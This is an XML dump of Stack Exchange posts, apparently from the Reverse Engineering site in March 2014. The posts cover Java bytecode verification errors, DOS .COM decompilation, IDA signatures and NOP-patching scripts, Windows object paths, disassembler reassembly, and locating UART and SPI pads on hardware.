  <row Id="3787" PostTypeId="1" AcceptedAnswerId="3788" CreationDate="2014-03-04T19:49:02.390" Score="2" ViewCount="624" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://dirty-joe.com/&quot; rel=&quot;nofollow&quot;&gt;dirtyJOE&lt;/a&gt; to edit a method of a class file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original class file had some encryption method calls and such.&#xA;I've changed the byte-code of the method ldc (byte-code: &lt;code&gt;12 1E&lt;/code&gt;)&#xA;to load true and return(byte-code: &lt;code&gt;12 1E&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;apparently, Java's verifier is upset with my changes and it complains of verification error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;java.lang.VerifyError: Expecting a stack map frame in method &lt;em&gt;[methodName]&lt;/em&gt; at offset 2&#xA;at..&#xA;at..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a way to fool the jvm to think that there is a stack map frame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you &lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2021" LastEditDate="2014-03-05T17:04:25.733" LastActivityDate="2014-03-05T17:04:25.733" Title="VerifyError after editingg class file with dirtJOE" Tags="|java|byte-code|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3788" PostTypeId="2" ParentId="3787" CreationDate="2014-03-04T21:45:45.470" Score="1" Body="&lt;p&gt;If the original class was not using StackMapTables, then there should be no problem, assuming you modified the bytecode correctly. Even if it is using them, it is usually possible to just remove them and revert to the old behavior. Assuming that the class does not use &lt;code&gt;invokedynamic&lt;/code&gt;, you can just change the version back to &lt;code&gt;49.0&lt;/code&gt; and delete the StackMapTable attributes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, version 51.0 mandates usage of StackMapTable, which is a pain to create when manually editing bytecode. If your class actually is making use of 51.0 features (i.e. &lt;code&gt;invokedynamic&lt;/code&gt;) then your only option is to create the appropriate stack frames. In a simple case like this, you could do it by hand, but in general you're best off using a tool to generate the stack frames automatically.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2014-03-04T21:45:45.470" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3789" PostTypeId="1" CreationDate="2014-03-04T22:27:24.993" Score="16" ViewCount="14803" Body="&lt;p&gt;I've found a binary copy of a DOS freeware game I was fond of back in the day (&lt;a href=&quot;http://dosgamer.com/firefighter/&quot;&gt;Firefighter&lt;/a&gt;, downloadable as &lt;code&gt;FIRE.COM&lt;/code&gt;) but the source code is not available. I'd like to re-implement it in C or Python using Unix curses and while I'm fully competent to do that part, I know almost nothing about tools for reverse-engineering and decompiling DOS .COM file binaries.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going by documentation that says .COM is headerless raw machine code, I tried running &lt;code&gt;objdump -D -b binary -m i386&lt;/code&gt; on it. The result didn’t look valid. &lt;code&gt;objdump -D -b binary -m i8086 –adjust-vma=0×100&lt;/code&gt; appeared to do the trick as did using NASM with &lt;code&gt;ndisasm -b 16 -a -o 0×100&lt;/code&gt; and both of those do seem to produce plausible &lt;em&gt;assembly&lt;/em&gt; listings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, though, I'm looking for something that decompiles and renders to C in &lt;em&gt;as-if-it-were-assembler&lt;/em&gt; style with generated variable names and useful annotations on the DOS traps. I understand that such a beast may not exist, but on the chance one does I'm seeking recommendations.&lt;/p&gt;&#xA;" OwnerUserId="4077" LastEditorUserId="4113" LastEditDate="2014-03-08T21:26:13.380" LastActivityDate="2021-11-04T11:04:39.667" Title="Decompilation techniques for DOS .COM files" Tags="|tools|decompilation|decompiler|dos-com|" AnswerCount="6" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3791" PostTypeId="1" CreationDate="2014-03-05T09:21:41.603" Score="3" ViewCount="854" Body="&lt;p&gt;I'm looking for the maximum sampling rate of the Wii Balance Board for studying &lt;a href=&quot;http://www.cq.com.pl/e_stabilograf.html&quot; rel=&quot;nofollow&quot;&gt;statokinesiograms&lt;/a&gt; (2D path of the ground projection of the center of pressure). Some &lt;a href=&quot;http://marcocardinale.wordpress.com/2011/04/21/nintendo-wii-fit-can-be-used-as-a-force-plate/&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; indicates a sampling rate of 100Hz. &lt;a href=&quot;http://electronics.howstuffworks.com/wii-balance-board2.htm&quot; rel=&quot;nofollow&quot;&gt;Another&lt;/a&gt; mentions 60Hz, and a &lt;a href=&quot;http://www.sciencedirect.com/science/article/pii/S096663620900664X&quot; rel=&quot;nofollow&quot;&gt;serious reference&lt;/a&gt; is using the WBB at 40Hz !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The related &lt;a href=&quot;http://www.freepatentsonline.com/20090093305.pdf&quot; rel=&quot;nofollow&quot;&gt;patent&lt;/a&gt; does not provide this information but mention 60Hz &quot;as an example&quot; (page 13). I suppose the bottleneck in frequency would be the microprocessor speed, as several pressure acquisitions could be transmitted at once with the bluetooth module.&lt;/p&gt;&#xA;" OwnerUserId="4084" LastEditorUserId="4084" LastEditDate="2014-03-13T10:16:15.463" LastActivityDate="2014-07-28T20:59:10.153" Title="Wii balance board sampling frequency" Tags="|hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3792" PostTypeId="1" CreationDate="2014-03-05T13:33:39.233" Score="1" ViewCount="2711" Body="&lt;p&gt;I have a mipsel executable (DvdPlayer from a RTD1283 firmware). I know that IDA is able to identify many functions. Then, I would like to generate a &lt;code&gt;.sig&lt;/code&gt; file with signatures of these functions for use with other executable DVDPlayer (from other firmwares).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to convert the executable in a library ?&lt;/p&gt;&#xA;" OwnerUserId="4087" LastEditorUserId="53" LastEditDate="2014-06-06T15:27:40.223" LastActivityDate="2014-06-06T15:27:40.223" Title="Generate a sig file from ELF executable" Tags="|ida|firmware|mips|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3793" PostTypeId="2" ParentId="3792" CreationDate="2014-03-05T14:27:28.970" Score="1" Body="&lt;p&gt;Yes, either use IDA's FLAIR tools or use one of the tools mentioned here: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1347/tools-to-work-cooperatively-on-the-same-binary/&quot;&gt;Tools to work cooperatively on the same binary&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-03-05T14:27:28.970" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3794" PostTypeId="2" ParentId="3792" CreationDate="2014-03-05T15:28:44.837" Score="1" Body="&lt;p&gt;IIRC, you cannot generate a FLIRT signature from a non relocatable ELF binary. You may have better luck using BinDiff to export the function names and comments. If this is all you need it should be enough, I use it a lot for this very same purpose.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-03-05T15:28:44.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3795" PostTypeId="2" ParentId="3792" CreationDate="2014-03-05T15:29:27.780" Score="2" Body="&lt;p&gt;You can try the &lt;a href=&quot;http://www.openrce.org/blog/browse/darko&quot; rel=&quot;nofollow&quot;&gt;IDB_2_SIG&lt;/a&gt; plugin that generates signature files from the IDB itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to note is that with gcc-built MIPS ELF files, many non-library symbols/function names (basically anything in a .o file) get entries in the dynamic symbol table and thus survive strip/sstrip as long as the binary is dynamically linked. So you &lt;em&gt;probably&lt;/em&gt; won't need to generate signatures against this ELF in order to identify those same functions in similar ELF files from other DVDPlayer firmwares - they'll just be there and IDA will do its thing.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2014-03-05T15:29:27.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3796" PostTypeId="1" AcceptedAnswerId="3810" CreationDate="2014-03-05T15:58:41.157" Score="2" ViewCount="134" Body="&lt;p&gt;In fuzzing applications with Pin (the Pintool source code is hosted &lt;a href=&quot;https://github.com/tathanhdinh/PathExplorer/tree/windows_version/version_1&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, I am sorry for the self-advertisement), I get a very bizarre situation in tracing executed instructions, the following trace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;0x404f94        test edx, edx                    &#xA;0x404f96        jnz 0x404fe1                   &#xA;0x404fe1        pop ebp                        &#xA;0x404f89        rep cmpsb byte ptr [esi], byte ptr [edi]&#xA;0x404f8b        pop edi                        &#xA;0x404f8c        pop esi                        &#xA;0x404f8d        jz 0x404f94                    &#xA;0x404f8f        sbb edx, edx&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is extracted from the execution of wget. The bizarre observation is that the instruction after 0x404f8f is somehow arbitrary, normaly it should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x404f91        sbb edx, 0xffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but &quot;sometimes&quot; it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x779a015d      add esp, 0x4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is located in the NtWaitForMultipleObjects. To say &quot;sometimes&quot;, I mean that it does not always happen but it happens and that is 100% reproducible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still cannot figure out what happened here. First, the observation means that the control-flow of the program has been changed in a unpredictable way. Second, the bizarre instruction located in NtWaitForMultipleObjects, namely it must be in the kernel-space, but here I have observed it in the program (i.e. in the user-space).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this question is quite specific but feel free to request me more information. I really appreciate any help.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2014-03-05T16:04:36.013" LastActivityDate="2014-03-06T15:44:05.613" Title="Strange behavior in the reverse execution of traces" Tags="|fuzzing|instrumentation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3797" PostTypeId="1" AcceptedAnswerId="3805" CreationDate="2014-03-05T17:56:23.717" Score="1" ViewCount="2411" Body="&lt;p&gt;These are my first steps in IDA script, so please be kind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create some sort of script that, every time it finds the following instruction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;MOV R1, #0x4D080&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to automatically replace it with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;NOP&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could do it statically (hex edit), but I'm looking for a way to do it on the fly during dynamic debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2014-03-06T12:21:50.003" Title="automatically find and nop an instruction in IDA" Tags="|ida|patching|patch-reversing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3798" PostTypeId="1" AcceptedAnswerId="3799" CreationDate="2014-03-05T20:16:28.183" Score="7" ViewCount="6945" Body="&lt;p&gt;I often come across paths similar to &lt;code&gt;\??\C:\Windows&lt;/code&gt; when looking in memory.  I have been unable to understand why the double '&lt;code&gt;?&lt;/code&gt;' is appended to some paths. My google-fu is failing me with the ability to find a reason for the double '&lt;code&gt;?&lt;/code&gt;'.Any assistance would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4089" LastEditorUserId="53" LastEditDate="2017-04-18T16:33:54.430" LastActivityDate="2018-01-13T19:02:04.557" Title="\??\C:\ Question Marks in Paths" Tags="|windows|memory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3799" PostTypeId="2" ParentId="3798" CreationDate="2014-03-05T20:30:06.540" Score="5" Body="&lt;p&gt;From &lt;a href=&quot;http://a.co/7DtLqTA&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows Internals, Part 1 (6th Edition)&lt;/a&gt; --&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All object-manager functions related to namespace management are aware&#xA;  of the instanced directories and participate in providing the illusion&#xA;  that all sessions use the same namespace. Windows subsystem DLLs&#xA;  prefix names passed by Windows applications that reference objects in&#xA;  \DosDevices with &lt;em&gt;\??&lt;/em&gt; (for example, C:\Windows becomes \??\C:\Windows).&#xA;  When the object manager sees the special \?? prefix, the steps it&#xA;  takes depends on the version of Windows, but it always relies on a&#xA;  field named &lt;em&gt;DeviceMap&lt;/em&gt; in the executive process object (EPROCESS, which&#xA;  is described further in Chapter 5) that points to a data structure&#xA;  shared by other processes in the same session.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The &lt;em&gt;DosDevicesDirectory&lt;/em&gt; field of the &lt;em&gt;DeviceMap&lt;/em&gt; structure points at the&#xA;  object manager directory that represents the process’ local&#xA;  \DosDevices. When the object manager sees a reference to \??, it&#xA;  locates the process’ local \DosDevices by using the&#xA;  &lt;em&gt;DosDevicesDirectory&lt;/em&gt; field of the &lt;em&gt;DeviceMap&lt;/em&gt;. If the object manager&#xA;  doesn’t find the object in that directory, it checks the &lt;em&gt;DeviceMap&lt;/em&gt;&#xA;  field of the directory object. If it’s valid, it looks for the object&#xA;  in the directory pointed to by the &lt;em&gt;GlobalDosDevicesDirectory&lt;/em&gt; field of&#xA;  the &lt;em&gt;DeviceMap&lt;/em&gt; structure, which is always \Global??.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2018-01-13T19:02:04.557" LastActivityDate="2018-01-13T19:02:04.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3800" PostTypeId="1" AcceptedAnswerId="3803" CreationDate="2014-03-06T00:50:44.160" Score="32" ViewCount="11450" Body="&lt;p&gt;I am struggling on this problem for around three months:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;How to use disassemblers (IDA Pro and others...) to generate re-assemblable asm code and assemble it back&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My experience is that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There is NO tool that can generate re-assemblable asm code on 32-bit x86.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to adjust/heuristically modify the asm code created by IDA Pro to make it re-assemblable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is doable to &lt;strong&gt;automatically&lt;/strong&gt; adjust/heuristically modify process on &lt;strong&gt;benign program&lt;/strong&gt; (one without obfuscation).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is very tedious, and VS compiled PE binary is much more complex than GCC compiled ELF binary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why there are not any disassemblers that can generate re-assemblable asm code targeting on &lt;strong&gt;benign program&lt;/strong&gt; (one without obfuscation) ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I want to implement such a tool (without the help of IDA Pro, sketching from the beginning), is it possible?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any other concerns related to this that I may have missed?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2017-04-28T12:56:23.853" LastActivityDate="2018-10-14T20:02:45.360" Title="Why there are not any disassemblers that can generate re-assemblable asm code?" Tags="|ida|disassembly|x86|disassemblers|reassembly|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3802" PostTypeId="2" ParentId="2933" CreationDate="2014-03-06T04:53:40.813" Score="3" Body="&lt;p&gt;You may want to perform &lt;a href=&quot;https://en.wikipedia.org/wiki/Automatic_baud_rate_detection&quot; rel=&quot;nofollow&quot;&gt;Automatic baud rate detection&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of projects on github that implement these such as BAUD RATE RS232 DETECTOR EXAMPLE for atmega8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to use &lt;a href=&quot;https://github.com/cyphunk/RS232enum&quot; rel=&quot;nofollow&quot;&gt;RS232enum&lt;/a&gt; that uses Arduino to try to enumerate all serial lines (RX/TX).&lt;/p&gt;&#xA;" OwnerUserId="4092" LastActivityDate="2014-03-06T04:53:40.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3803" PostTypeId="2" ParentId="3800" CreationDate="2014-03-06T10:44:07.233" Score="23" Body="&lt;h2&gt;&lt;strong&gt;Because this is really hard to do.&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To elaborate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also need to extract things that are not code. Think of import tables, export tables, strings and other data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you write code, this is only one part of the program. The other part is the Compiler Optimizations and data section. This makes it almost impossible to create re-compilable assembly. If you want to edit a program on assembly level I'd recommend to use windbg and LordPE.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="2035" LastEditDate="2016-09-12T07:07:15.283" LastActivityDate="2016-09-12T07:07:15.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3804" PostTypeId="2" ParentId="2765" CreationDate="2014-03-06T12:02:48.733" Score="1" Body="&lt;p&gt;I know this is an old thread, but I just wanted to add that your Hauwei E586 is probably based on the HiSierrra Chipset and Firmware. (That is, Huawei firmwares starting with &quot;21.&quot; when using the &lt;a href=&quot;http://forum.gsmhosting.com/vbb/f804/huawei-modem-universal-flasher-1495518/&quot; rel=&quot;nofollow&quot;&gt;Huawei Modem Flasher&lt;/a&gt;. ) This is using an embedded linux server, unlike those MiFi's based on the Qualcomm chips with firmwares strting with &quot;11.&quot;. &lt;a href=&quot;http://forum.xda-developers.com/showthread.php?t=2396752&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is another interesting thread on reversing the firmware on one of these (E589). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, did you also have to deal with a checksum for the entire binary? &#xA;(Do you know how to calculate it, and where it's located?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;PS. This was meant as a comment, but I still don't have the required Rep. to do that.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="3855" LastActivityDate="2014-03-06T12:02:48.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3805" PostTypeId="2" ParentId="3797" CreationDate="2014-03-06T12:09:07.363" Score="1" Body="&lt;p&gt;Actually you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that you know when and where this instruction is located and where it can appear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#I didn't check this code, use carefully, beware errors&#xA;#You can use idc.FindBinary instead of text search if you know &#xA;#how your assembly instruction is encoded&#xA;import idautils&#xA;import idc&#xA;&#xA;&#xA;#static nopification of ARM address&#xA;def static_nopify_arm(ea):&#xA;    nop = [0xe1, 0xa0, 0x00, 0x00]  # it is a nop encoding taken from wikipedia&#xA;    for i in range(len(nop)):&#xA;        idc.PatchByte(ea + i, nop[i])&#xA;&#xA;&#xA;#searches assembly command by its text&#xA;#generally bad idea, but should work&#xA;#start and end means search area boundaries&#xA;def static_search_text_and_nopify(asmline, start, end):&#xA;    for h in idautils.Heads(start, end):&#xA;        disasm = idc.GetDisasm(h)&#xA;        if asmline == disasm:&#xA;            static_nopify_arm(h)&#xA;&#xA;&#xA;#The same with dynamic (memory during debugging)&#xA;#Dynamic nopification of ARM address&#xA;def dynamic_nopify_arm(ea):&#xA;    nop = [0xe1, 0xa0, 0x00, 0x00]  # it is a nop encoding taken from wikipedia&#xA;    for i in range(len(nop)):&#xA;        #I'm not sure that it will work, may be you should do something with memory protection&#xA;        idc.PatchDbgByte(ea + i, nop[i])&#xA;&#xA;&#xA;#searches assembly command by its text&#xA;#generally bad idea, but should work&#xA;#start and end means search area boundaries&#xA;#Code should be recognized by IDA as code before running the function&#xA;def dynamic_search_text_and_nopify(asmline, start, end):&#xA;    for h in idautils.Heads(start, end):&#xA;        disasm = idc.GetDisasm(h)&#xA;        if asmline == disasm:&#xA;            dynamic_nopify_arm(h)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2014-03-06T12:21:50.003" LastActivityDate="2014-03-06T12:21:50.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3806" PostTypeId="1" AcceptedAnswerId="3807" CreationDate="2014-03-06T12:44:34.993" Score="3" ViewCount="2237" Body="&lt;p&gt;Do anyone know about an automatic way to transfer function names from one IDA file to another while:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First IDA file is based on version 1 of the executable.&lt;/li&gt;&#xA;&lt;li&gt;Second IDA file is based on the updated, version 2, of the same executable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm aware of Zynamics BinDiff. I'm looking for alternatives.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="189" LastEditDate="2014-03-08T12:05:10.417" LastActivityDate="2014-03-08T12:05:10.417" Title="Transfer function names from one IDA DB to another" Tags="|ida|code-modeling|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3807" PostTypeId="2" ParentId="3806" CreationDate="2014-03-06T13:14:53.067" Score="2" Body="&lt;p&gt;You can use &lt;a href=&quot;http://mynav.googlecode.com&quot; rel=&quot;nofollow&quot;&gt;MyNav&lt;/a&gt;. In &lt;a href=&quot;https://www.hex-rays.com/contests/2010/MyNav/tutorials/exportimport.htm&quot; rel=&quot;nofollow&quot;&gt;this video&lt;/a&gt; you can check how it can be done with this tool.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-03-06T13:14:53.067" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3808" PostTypeId="1" AcceptedAnswerId="3812" CreationDate="2014-03-06T13:20:10.840" Score="8" ViewCount="2723" Body="&lt;p&gt;Are there tools that would create:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UML Structural Diagrams from Source Code.  &lt;/li&gt;&#xA;&lt;li&gt;UML Behavioral Diagrams from Binary executing on a arm / x86 system.&lt;br&gt;&#xA;  Sources would be in C &amp;amp;/ C++ &amp;amp;/ Python.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Such tools would boost productivity while re-engineering (understanding existing software and modifying it.) on a Linux platform.&lt;/p&gt;&#xA;" OwnerUserId="4094" LastEditorUserId="189" LastEditDate="2014-03-06T13:51:08.617" LastActivityDate="2017-01-29T12:35:43.180" Title="Re-engineering to create UML Diagrams from Source and Binary" Tags="|tools|static-analysis|dynamic-analysis|processhacker|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3809" PostTypeId="2" ParentId="3808" CreationDate="2014-03-06T14:22:02.717" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;Sparx Systems Enterprise Architect for Java or .NET&lt;/li&gt;&#xA;&lt;li&gt;IDA Pro RTTI plugin for C++ compiled binary&lt;/li&gt;&#xA;&lt;li&gt;doxygen for C, Java, and other language source code&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3989" LastActivityDate="2014-03-06T14:22:02.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3810" PostTypeId="2" ParentId="3796" CreationDate="2014-03-06T15:44:05.613" Score="3" Body="&lt;p&gt;When dealing with multi-threaded program, you may end up getting instructions from different threads. You can for example check the current thread ID to make sure you're getting what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if the program itself does not use threads, they may be created by system libraries. One of the most common examples is the &lt;a href=&quot;https://stackoverflow.com/questions/12670097/what-is-the-purpose-of-this-mysterious-tppwaiterpthread-thread&quot;&gt;TppWaiterpThread&lt;/a&gt;. RPC functions also often create threads.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-03-06T15:44:05.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3811" PostTypeId="1" AcceptedAnswerId="3842" CreationDate="2014-03-06T16:54:46.473" Score="2" ViewCount="390" Body="&lt;p&gt;I have the following disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov BL, [EAX]&#xA;inc EAX&#xA;mov [EDX], BL&#xA;inc EDX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could see this being the result of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint8_t foo = bar;&#xA;++bar;&#xA;uint8_t tmp = foo;&#xA;++foo;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this assumes C99. Is there some other C construct that could produce the code above?&lt;/p&gt;&#xA;" OwnerUserId="4053" LastEditorUserId="1648" LastEditDate="2014-03-06T19:07:23.233" LastActivityDate="2014-03-10T17:35:04.303" Title="What C construct could generate this assembly sequence?" Tags="|disassembly|x86|static-analysis|c|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3812" PostTypeId="2" ParentId="3808" CreationDate="2014-03-06T17:57:28.647" Score="2" Body="&lt;p&gt;I did some work on modelling C programs sometimes back, I used this article as starting point,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.drdobbs.com/uml-for-c-programmers/184401948&quot; rel=&quot;nofollow&quot;&gt;http://www.drdobbs.com/uml-for-c-programmers/184401948&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then evaluated few ide and found EA most fitting also IBM RSA has good support for modelling C programs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However what you will need to do is, formulate a way of modelling C programs in UML and then follow it, this is because C not being an Object Oriented language and UML being inherently Object oriented we need to device how we will represent a C construct in UML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps for C, for C++ EA and &lt;a href=&quot;http://www.ibm.com/developerworks/downloads/r/architect/&quot; rel=&quot;nofollow&quot;&gt;RSA&lt;/a&gt;'s reverse engineering worsk well and not much effort is required as C.&lt;/p&gt;&#xA;" OwnerUserId="4099" LastEditorUserId="4094" LastEditDate="2014-08-27T06:51:04.857" LastActivityDate="2014-08-27T06:51:04.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3814" PostTypeId="1" CreationDate="2014-03-06T23:46:02.347" Score="2" ViewCount="1204" Body="&lt;p&gt;I have a logic board with 20 pads accessible on it.  I know 2 of the 20 pads are UART (TX / RX) and one pad appears to reset the device when connecting a multi meter to it, so I presume that has something to do with JTAG.  From what I have read to interface with an SPI bus it requires 4 wires.  The 4 wires being,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;MOSI (Master Out Slave In) &lt;/li&gt;&#xA;&lt;li&gt;MISO (Master In Slave Out)&lt;/li&gt;&#xA;&lt;li&gt;SCLK (Serial Clock)&lt;/li&gt;&#xA;&lt;li&gt;SS (Slave Select)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now with that understanding, how would one determine which of the remaining pads on the device correspond to the 4 wires of the SPI bus?  I am assuming that there is a SPI bus interface amongst these 17 remaining pads.  How would I determine which four of seventeen remaining pads are associated with the SPI bus?  I have access to a logic analyzer if that helps :/&lt;/p&gt;&#xA;" OwnerUserId="2886" LastEditorUserId="4113" LastEditDate="2014-03-09T00:27:12.590" LastActivityDate="2014-06-07T12:17:41.447" Title="How to find SPI pads (4 of them) on a logic board?" Tags="|hardware|spi|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
